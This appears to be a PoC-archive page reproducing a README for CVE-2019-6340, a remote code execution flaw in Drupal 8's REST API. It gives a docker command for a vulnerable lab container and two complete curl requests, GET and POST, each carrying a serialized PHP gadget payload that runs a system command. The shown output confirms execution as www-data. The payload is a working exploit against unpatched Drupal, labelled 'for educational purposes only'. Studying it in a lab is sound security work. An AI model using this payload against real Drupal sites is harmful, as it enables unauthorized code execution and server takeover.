关联漏洞
标题:
Drupal 输入验证错误漏洞
(CVE-2019-6340)
描述:Drupal是Drupal社区的一套使用PHP语言开发的开源内容管理系统。 Drupal 8.5.11之前的8.5.x版本和Drupal 8.6.10之前的8.6.x版本中存在输入验证漏洞,该漏洞源于一些字段类型没有正确地过滤数据。远程攻击者可利用该漏洞执行代码。
描述
Environment for CVE-2019-6340 (Drupal)
介绍
# CVE-2019-6340
For educational purposes only
## Run
```
$ docker run --rm -p 8080:80 knqyf263/cve-2019-6340
```
## Exploit
### GET
```
$ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?_format=hal_json" -d '
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://localhost:8080/rest/type/shortcut/default"
}
}
}'
{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### POST
```
$ curl -XPOST -H "Content-Type: application/hal+json" "http://localhost:8080/node/?_format=hal_json" -d '
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://localhost:8080/rest/type/shortcut/default"
}
}
}'
{"message":"The shortcut set must be the currently displayed set for the user and the user must have \u0027access shortcuts\u0027 AND \u0027customize shortcut links\u0027 permissions."}uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## Reference
https://www.ambionics.io/blog/drupal8-rce
文件快照
[4.0K] /data/pocs/8e0d3e0810b10ccbd73219e5da99d537c3872eac
├── [ 264] create_node.php
├── [1.0K] Dockerfile
├── [ 11K] LICENSE
└── [1.9K] README.md
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。